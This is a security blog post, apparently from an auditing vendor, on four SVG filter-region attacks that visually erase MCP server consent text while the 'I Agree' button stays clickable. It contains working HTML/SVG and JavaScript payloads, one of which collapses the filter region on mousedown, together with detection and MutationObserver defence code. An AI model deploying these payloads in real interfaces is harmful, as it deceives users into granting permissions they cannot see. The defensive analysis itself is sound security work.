← Blog

MCP server SVG filter filterUnits objectBoundingBox consent security

Four SA-CSS-FUO consent attack patterns using filterUnits="objectBoundingBox" to express the filter’s canvas region as fractions of the filtered element’s bounding box — enabling attackers to clip or exclude the consent text from the rendered output by positioning or sizing the filter region to exclude the element’s content area.

By SkillAudit  |  28 Oct 2026

The SVG <filter> element defines a filter region — the rectangular canvas over which the filter is computed — via the x, y, width, and height attributes on the <filter> element itself. The filterUnits attribute controls how those coordinates are interpreted. There are two modes:

The SVG specification states that the default value is filterUnits="objectBoundingBox". Every <filter> element without an explicit filterUnits attribute uses fractional bounding-box coordinates. The default filter region with this mode is x="-0.1" y="-0.1" width="1.2" height="1.2" — a 10% expansion beyond the element on all sides. This default was designed to give Gaussian blur room to spread without clipping. But with explicit attribute values, an attacker can define a filter region that is tiny, displaced, or entirely off the element, causing all content of the element to fall outside the filter canvas and be clipped from rendering.

Clipping is not CSS clipping: The filter canvas clip is applied at the SVG compositing stage, after layout. getComputedStyle(consentEl).clip returns "auto". consentEl.getBoundingClientRect() returns the element’s full layout rectangle — the browser has laid out the element normally, allocated its space, and positioned it. The filter canvas restriction is applied to the rendered pixels only. A consent button inside a clipped consent text container retains its full layout footprint and fires click events normally. The user sees no text but clicks on an area that appears visually empty.

How filterUnits coordinates map to pixels

The mapping from filterUnits="objectBoundingBox" fractional coordinates to screen pixels is straightforward but critical to understand for both attack construction and detection:

/* filterUnits="objectBoundingBox" coordinate mapping */

/* Suppose the consent text container has these layout dimensions: */
element.boundingBox = {
  x:      120,   /* px from SVG viewport origin */
  y:      300,
  width:  400,
  height:  80
};

/* A filter with filterUnits="objectBoundingBox" and these attributes: */
filter.x      = 0.5;    /* fractional */
filter.y      = 0.0;
filter.width  = 0.0001;
filter.height = 1.0;

/* Maps to screen-space filter canvas: */
canvas.x      = element.x + element.width  * filter.x;      /* = 120 + 400×0.5    = 320px */
canvas.y      = element.y + element.height * filter.y;      /* = 300 + 80×0.0     = 300px */
canvas.width  =             element.width  * filter.width;  /* = 400×0.0001       = 0.04px */
canvas.height =             element.height * filter.height; /* = 80×1.0           = 80px  */

/* Canvas: a 0.04px-wide vertical strip at x=320, covering y=300 to y=380.
   The consent element spans x=120 to x=520.
   The filter canvas (x=320, width=0.04px) intersects only a sub-pixel area.
   All content outside x=[320, 320.04] is outside the filter canvas → clipped.
   The entire consent text is effectively invisible.
   Element layout: unchanged. Click events: normal. getBoundingClientRect(): full rect. */

/* Attack viability check: does the filter region intersect the element? */
function filterRegionIntersectsElement(filterEl, elementBBox) {
  const fu = filterEl.getAttribute('filterUnits') || 'objectBoundingBox';
  const x = parseFloat(filterEl.getAttribute('x') || '-0.1');
  const y = parseFloat(filterEl.getAttribute('y') || '-0.1');
  const w = parseFloat(filterEl.getAttribute('width')  || '1.2');
  const h = parseFloat(filterEl.getAttribute('height') || '1.2');

  let canvasX, canvasY, canvasW, canvasH;
  if (fu === 'objectBoundingBox') {
    canvasX = elementBBox.x + elementBBox.width  * x;
    canvasY = elementBBox.y + elementBBox.height * y;
    canvasW = elementBBox.width  * w;
    canvasH = elementBBox.height * h;
  } else {
    /* userSpaceOnUse: coordinates already in px */
    canvasX = x; canvasY = y; canvasW = w; canvasH = h;
  }

  /* Intersection area as fraction of element area */
  const ix = Math.max(0, Math.min(canvasX + canvasW, elementBBox.x + elementBBox.width)
                       - Math.max(canvasX, elementBBox.x));
  const iy = Math.max(0, Math.min(canvasY + canvasH, elementBBox.y + elementBBox.height)
                       - Math.max(canvasY, elementBBox.y));
  const intersection = ix * iy;
  const elementArea = elementBBox.width * elementBBox.height;
  return intersection / elementArea; /* 0.0 = no intersection; 1.0 = full coverage */
}

SA-CSS-FUO-001: Tiny filter region (0.1%×0.1%) at element center — all text clipped

Setting x="0.5" y="0.5" width="0.001" height="0.001" with filterUnits="objectBoundingBox" defines a filter canvas of 0.1%×0.1% of the element’s bounding box, positioned at the center. For a 400px×80px consent container, this is a 0.4px×0.08px canvas — sub-pixel in both dimensions. All content of the element outside this sub-pixel area is outside the filter canvas and is clipped: not rendered. The entire consent text, the button label, and all visual content of the element are invisible. Only a sub-pixel artifact at the center might render, invisible at normal zoom. The element continues to occupy its full 400px×80px layout area and fires pointer events normally.

<svg style="position:absolute;width:0;height:0" aria-hidden="true">
  <defs>
    <!-- filterUnits="objectBoundingBox" is the SVG default.
         x/y/width/height are fractions of the element bounding box.
         x=0.5 y=0.5 width=0.001 height=0.001:
           Filter canvas = 0.1% × 0.1% of the element, at center.
           For a 400px×80px element: canvas = 0.4px × 0.08px.
           All content outside this sub-pixel area is clipped. -->
    <filter id="fuo001"
            filterUnits="objectBoundingBox"
            x="0.5" y="0.5"
            width="0.001" height="0.001">
      <!-- Identity filter: passes any in-canvas content through unchanged.
           But the canvas is sub-pixel, so nothing visible passes through. -->
      <feComposite in="SourceGraphic" in2="SourceGraphic" operator="over"/>
    </filter>
  </defs>
</svg>

<div class="consent-dialog"
     style="filter:url(#fuo001); background:white; padding:24px; width:400px;">
  <p>Grant this MCP server write access to your entire file system,
     including hidden files, .env secrets, and SSH private keys.</p>
  <button id="agreeBtn">I Agree</button>
</div>

<!-- Visual result:
     Filter canvas: 0.001 × 400px = 0.4px wide; 0.001 × 80px = 0.08px tall.
     Canvas is at center (x=200px from element left, y=40px from element top).
     Sub-pixel canvas: no consent text, no button label renders.
     Element layout: 400px×80px (unchanged).
     agreeBtn.getBoundingClientRect(): full rect within 400px×80px container.
     Click events: fire normally at the invisible button position.
     WCAG: 0 pixels of consent text rendered → 0:1 contrast.
     CSSOM: getComputedStyle(dialog).filter = "url(#fuo001)" → no style anomaly.
     getComputedStyle(dialog).clip = "auto" → no clip anomaly.
     Severity: CRITICAL. -->

/* Detection: check filter region coverage */
function detectFilterRegionClip(consentEl) {
  let el = consentEl;
  while (el && el !== document.body) {
    const filterVal = (getComputedStyle(el).filter
                       || el.getAttribute('filter') || '');
    const urlMatch = filterVal.match(/url\(#([^)]+)\)/);
    if (urlMatch) {
      const filterEl = document.getElementById(urlMatch[1]);
      if (filterEl) {
        const bbox = el.getBoundingClientRect();
        const coverage = filterRegionIntersectsElement(filterEl, bbox);
        if (coverage < 0.5) {
          return {
            risk: coverage === 0 ? 'CRITICAL' : 'HIGH',
            type: 'filter-region-clip',
            coverage: coverage,
            filterUnits: filterEl.getAttribute('filterUnits') || 'objectBoundingBox'
          };
        }
      }
    }
    el = el.parentElement;
  }
  return null;
}

SA-CSS-FUO-002: Filter region displaced entirely outside element bounds

Setting the filter region to start at x="2.0" positions the filter canvas two bounding-box widths to the right of the element’s left edge. For a 400px-wide element, the filter canvas starts at x=800px from the element’s left edge — completely beyond the element’s right boundary. Every pixel of the element falls to the left of the filter canvas. The filter canvas has zero intersection with the element’s bounding box. All consent element content is clipped. The condition for this attack to hold is: filter.x > 1.0 OR filter.x + filter.width < 0.0 — the filter region must have zero intersection with the [0,1] fractional range of the element.

<svg style="position:absolute;width:0;height:0" aria-hidden="true">
  <defs>
    <!-- Filter canvas starts at x=2.0 (200% of element width to the right).
         For a 400px element: canvas x-origin = 400 + 400×2.0 = 1200px from page left.
         Element content spans x=400 to x=800 (if element starts at x=400).
         Filter canvas starts at x=1200 → zero intersection.
         All element content is outside the filter canvas → clipped. -->
    <filter id="fuo002"
            filterUnits="objectBoundingBox"
            x="2.0" y="0.0"
            width="1.0" height="1.0">
      <feComposite in="SourceGraphic" in2="SourceGraphic" operator="over"/>
    </filter>
  </defs>
</svg>

<div class="consent-dialog"
     style="filter:url(#fuo002); background:white; padding:24px;">
  <p>This MCP server requests permission to install browser extensions
     and modify your browser's security settings.</p>
  <button>I Agree</button>
</div>

<!-- Filter region intersection with element:
     Element bounding box (fractional): x=[0,1], y=[0,1]
     Filter canvas (fractional): x=[2.0, 3.0], y=[0,1]
     Intersection on x-axis: max(0, min(3.0,1.0) - max(2.0,0.0)) = max(0, 1.0-2.0) = 0
     Intersection area: 0 (zero overlap).
     All content clipped. 0 pixels rendered. 0:1 contrast.
     Pointer events: element layout box still active.
     The consent dialog is fully invisible. The user clicks through it.

     Detection: (filter.x > 1.0) → zero intersection → CRITICAL.
     Also flag: (filter.x + filter.width < 0.0) for left-displaced regions.
     For y-axis: (filter.y > 1.0) or (filter.y + filter.height < 0.0). -->

SA-CSS-FUO-003: Horizontal strip filter region clips detail lines of multi-line consent text

A filter region covering only the top 45% of the element vertically (x="-0.1" y="0.0" width="1.2" height="0.45") clips the bottom 55% from rendering. For a multi-line consent text with a header line and detail lines, the header renders while the detail text is invisible. At 16px font size with 24px line height, 45% of a 96px-tall consent block shows approximately 1.8 lines — the title and partial first line. The subsequent lines describing the specific permissions (scope, duration, reversibility) are entirely outside the filter canvas. The user sees the consent header “Grant access” but not the detail lines specifying what access, to what resources, with what scope.

<svg style="position:absolute;width:0;height:0" aria-hidden="true">
  <defs>
    <!-- Filter region: full width, top 45% of element height only.
         Content in the bottom 55% of the element is outside the filter canvas
         and is clipped from rendering.
         For a 4-line consent block at 24px line-height (total ~96px):
           Line 1 (y=0..24px):   24/96 = 25% → inside canvas (45%)
           Line 2 (y=24..48px):  48/96 = 50% → top half inside, bottom outside
           Line 3 (y=48..72px):  fully outside canvas → not rendered
           Line 4 (y=72..96px):  fully outside canvas → not rendered -->
    <filter id="fuo003"
            filterUnits="objectBoundingBox"
            x="-0.1" y="0.0"
            width="1.2" height="0.45">
      <feComposite in="SourceGraphic" in2="SourceGraphic" operator="over"/>
    </filter>
  </defs>
</svg>

<div class="consent-dialog"
     style="filter:url(#fuo003); background:white; padding:24px;">
  <!-- Line 1: consent header — VISIBLE (within top 45%) -->
  <p style="margin:0; font-weight:bold">Grant MCP Server Access</p>
  <!-- Line 2: partial — MAY BE PARTIALLY VISIBLE -->
  <p style="margin:4px 0">This server will be permitted to:</p>
  <!-- Lines 3+: CLIPPED — outside filter canvas -->
  <ul>
    <li>Read and write ALL files on your system</li>
    <li>Access .env files and stored credentials</li>
    <li>Execute arbitrary shell commands</li>
    <li>Exfiltrate data to remote servers</li>
  </ul>
  <button>I Agree</button>
</div>

<!-- Semantic manipulation via partial rendering:
     User sees:  "Grant MCP Server Access"
                 "This server will be permitted to:"
     User does NOT see: the four specific permission bullets.
     The most critical information (what permissions are granted)
     is in the clipped region.
     The button is in the clipped region too — BUT its click area
     still exists at its layout position. The user may click at
     where the button would visually be, without seeing it.
     WCAG for clipped lines: 0:1 (not rendered).
     Detection: filter canvas height fraction (0.45) × element area
     covers < 50% → flag as HIGH. -->

SA-CSS-FUO-004: JS mousedown filter region collapse — normal to zero-width at click

The initial filter region uses standard default-equivalent values: x="-0.1" y="-0.1" width="1.2" height="1.2", which gives 110%×110% bounding-box coverage — full element visibility with a 10% bleed on each side for any blur effects. This state is benign and passes static analysis. On mousedown, four attributes are set on the <filter> element to collapse the filter canvas to a sub-pixel vertical strip at the center of the element. The consent text disappears at the instant the user’s input contacts the button. The click event fires with the consent text already invisible.

<svg style="position:absolute;width:0;height:0" aria-hidden="true">
  <defs>
    <!-- Initial filter region: standard bleed coverage, full element visible.
         x/y/width/height use objectBoundingBox fractions (default). -->
    <filter id="fuo004"
            filterUnits="objectBoundingBox"
            x="-0.1" y="-0.1"
            width="1.2" height="1.2">
      <feComposite in="SourceGraphic" in2="SourceGraphic" operator="over"/>
    </filter>
  </defs>
</svg>

<div class="consent-dialog"
     style="filter:url(#fuo004); background:white; padding:24px;">
  <p>Grant this MCP server persistent file system access,
     including read and write to all directories.</p>
  <button id="consentBtn">I Agree</button>
</div>

<script>
document.getElementById("consentBtn").addEventListener("mousedown", () => {
  const f = document.getElementById("fuo004");
  /* Collapse filter region to a sub-pixel strip at element center.
     width="0.0001" = 0.01% of element width = ~0.04px for a 400px element.
     All consent content is outside the 0.04px-wide canvas → clipped. */
  f.setAttribute("x",      "0.5");
  f.setAttribute("y",      "0.0");
  f.setAttribute("width",  "0.0001");
  f.setAttribute("height", "1.0");
  /* The consent panel is now fully invisible.
     The mouseup (click) event fires in this invisible state. */
});
</script>

/* MutationObserver defence — watch filter region attributes */
function guardFilterRegion(consentEl, onViolation) {
  let el = consentEl;
  while (el && el !== document.body) {
    const filterVal = (getComputedStyle(el).filter
                       || el.getAttribute('filter') || '');
    const urlMatch = filterVal.match(/url\(#([^)]+)\)/);
    if (urlMatch) {
      const filterEl = document.getElementById(urlMatch[1]);
      if (filterEl) {
        const mo = new MutationObserver(() => {
          const bbox = el.getBoundingClientRect();
          const coverage = filterRegionIntersectsElement(filterEl, bbox);
          if (coverage < 0.5) {
            onViolation({
              type: 'filter-region-mutation',
              coverage: coverage,
              x: filterEl.getAttribute('x'),
              y: filterEl.getAttribute('y'),
              width: filterEl.getAttribute('width'),
              height: filterEl.getAttribute('height')
            });
          }
        });
        mo.observe(filterEl, {
          attributes: true,
          attributeFilter: ['x', 'y', 'width', 'height', 'filterUnits']
        });
      }
    }
    el = el.parentElement;
  }
}

Why layout-based detection misses region attacks

Typical consent visibility checks use getBoundingClientRect() to verify the element has non-zero layout dimensions, getComputedStyle().display to check it is not none, and getComputedStyle().visibility to check it is not hidden. All of these checks pass for a filtered element whose filter canvas is smaller than the element or displaced off it. The element has a full layout bounding box, is display:block, and is visibility:visible. The clipping of rendered pixels happens at the SVG filter rendering stage, which is a post-layout compositing operation invisible to CSSOM properties. A complete audit must read the filter element’s x, y, width, and height attributes, resolve them in the correct coordinate space (checking filterUnits), compute the intersection of the filter canvas with the element’s layout rectangle, and flag if the intersection area is below a meaningful threshold (recommended: <50% as HIGH, <10% as CRITICAL, =0 as CRITICAL).

Default filterUnits is objectBoundingBox: Unlike primitiveUnits (which defaults to userSpaceOnUse), the filterUnits attribute defaults to "objectBoundingBox". This means that ANY <filter> element without an explicit filterUnits attribute is in fractional mode. Auditing code must account for this default when parsing filter region attributes — a filter with no filterUnits attribute and x="2.0" is a displacement attack, not a 2-pixel offset.

Attack summary

IDFilter region (fractional)Canvas coverageEffect on consentWCAG contrastSeverity
SA-CSS-FUO-001 x=0.5 y=0.5 w=0.001 h=0.001 0.0001% of element All content clipped; sub-pixel canvas; fully invisible 0:1 — complete erasure Critical
SA-CSS-FUO-002 x=2.0 y=0 w=1.0 h=1.0 0% (canvas displaced right) Zero intersection with element; all content clipped 0:1 — complete erasure Critical
SA-CSS-FUO-003 x=-0.1 y=0 w=1.2 h=0.45 Top 45% only Header visible; permission detail lines clipped; semantic manipulation Lower 55%: 0:1 (clipped) High
SA-CSS-FUO-004 Static: normal; mousedown: x=0.5 w=0.0001 100% static; ~0% at mousedown Full visibility at load; complete clip at click confirmation Static: normal; click: 0:1 Critical

SkillAudit findings for this attack surface

CRITICAL SA-CSS-FUO-001: filterUnits="objectBoundingBox" with x="0.5" y="0.5" width="0.001" height="0.001" on consent ancestor — filter canvas = 0.001×element bounding box = sub-pixel; zero intersection with element content area; all consent text clipped from rendering; element layout and pointer events unaffected; getBoundingClientRect() returns full rect; WCAG contrast 0:1; detection requires computing filter canvas intersection with element bounding box and flagging coverage below threshold.
CRITICAL SA-CSS-FUO-002: filterUnits="objectBoundingBox" with x="2.0" displaces filter canvas entirely to the right of element; intersection area = 0; all consent content clipped; pointer events still fired by invisible element; detection condition: fractional x > 1.0 OR (x + width) < 0.0 in objectBoundingBox space = CRITICAL zero-intersection clip; also check y > 1.0 OR (y + height) < 0.0.
HIGH SA-CSS-FUO-003: filterUnits="objectBoundingBox" with height="0.45" restricts filter canvas to top 45% of element; for multi-line consent text at 16px/24px leading, lines 3 and beyond (carrying specific permission scope) are outside filter canvas and are not rendered; user sees partial consent header without permission details; semantic manipulation of partially-visible consent; detection: canvas height < 1.0 covering < 50% of element = HIGH.
CRITICAL SA-CSS-FUO-004: JS mousedown transitions filter element x/y/width/height from full-coverage default to near-zero-width strip (x=0.5 width=0.0001); consent text fully visible at static load; at mousedown the canvas collapses to sub-pixel width, clipping all content; click event fires with content invisible; MutationObserver on x, y, width, height, filterUnits attributes of filter elements applied to consent ancestors; on mutation: recompute canvas coverage and block confirmation if coverage drops below 50%.

Related: primitiveUnits objectBoundingBox consent attacks  |  feComposite out operator consent attacks  |  feFlood consent attacks

← Blog  |  Security Checklist